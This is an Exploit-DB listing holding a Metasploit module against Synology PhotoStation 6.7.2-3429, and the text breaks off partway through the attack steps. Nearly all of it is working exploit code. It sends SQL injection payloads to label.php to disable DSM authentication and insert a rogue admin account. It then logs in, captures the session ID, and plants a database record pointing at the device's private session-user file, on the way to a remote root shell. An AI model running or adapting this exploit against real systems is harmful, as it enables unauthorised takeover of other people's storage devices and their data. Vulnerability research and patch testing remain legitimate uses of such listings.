Exploit-DB #43474
Description: Synology Photostation 6.7.2-3429 - Remote Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2018-01-10
Author: James Bercegay

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Synology PhotoStation Multiple Vulnerabilities",
      'Description'    => %q{
        This module exploits multiple vulnerabilities in Synology PhotoStation.
        When combined these issues can be leveraged to gain a remote root shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Bercegay',
        ],
      'References'     =>
        [
          [ 'URL', 'http://gulftech.org/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2018-01-08',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('DSMPORT',   [ true,  "The default DSM port", '5000']),
      ])
  end

  def check

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; SELECT user; -- "
          },
      })

    if res and res.body =~ /PhotoStation/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit

  rnum = rand(1000)
  rstr = Rex::Text.rand_text_alpha(10)  

  uuid = rnum # User ID
  upwd = rstr # User Password
  uusr = rstr # User name
  
  vol1 = '/volume1'
  audb = '/usr/syno/etc/private/session/current.users'

###########################################################################
# STEP 00: Force PhotoStation to NOT use DSM for the authentication system
###########################################################################

    print_status("Switching authentication system to PhotoStation via SQL Injection")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "
          },
      })

###########################################################################
# STEP 01: Create an admin user
###########################################################################

    print_status("Creating admin user: #{uusr} => #{upwd}")

    # Password hash
    umd5 = Rex::Text.md5(upwd)

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "
          },
      })

###########################################################################
# STEP 02: Authenticate and store session identifier
###########################################################################

    print_status("Authenticating as admin user: #{uusr}")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/webapi/auth.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'api' =>'SYNO.PhotoStation.Auth',
            'method' => 'login',
            'version' =>'1',
            'username' => uusr,
            'password' => upwd,
            'enable_syno_token' => 'TRUE',

          },
      })

    if not res or not res.headers or not res.headers['Set-Cookie']
      print_error("Unable to retrieve session identifier! Aborting ...")
      return
    end

  uckv =  res.headers['Set-Cookie']
  psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]

  print_status("Got PHP Session ID: #{psid}")

###########################################################################
# STEP 03: Delete any existing path names used from the database
###########################################################################

  print_status("Making sure there are no duplicate path index conflicts ...")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "
          },
      })

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "
          },
      })

###########################################################################
# STEP 04: Create a record for our malicious path in the database
###########################################################################

  print_status("Creating video record with bad 'path' data via SQL injection")

    res = send_request_cgi(
      {
        'uri'       =>  '/photo/include/blog/label.php',
        'method'    => 'POST',
        'vars_post' =>
          {
            'action' =>'get_article_label',
            'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "
          },
      })

######################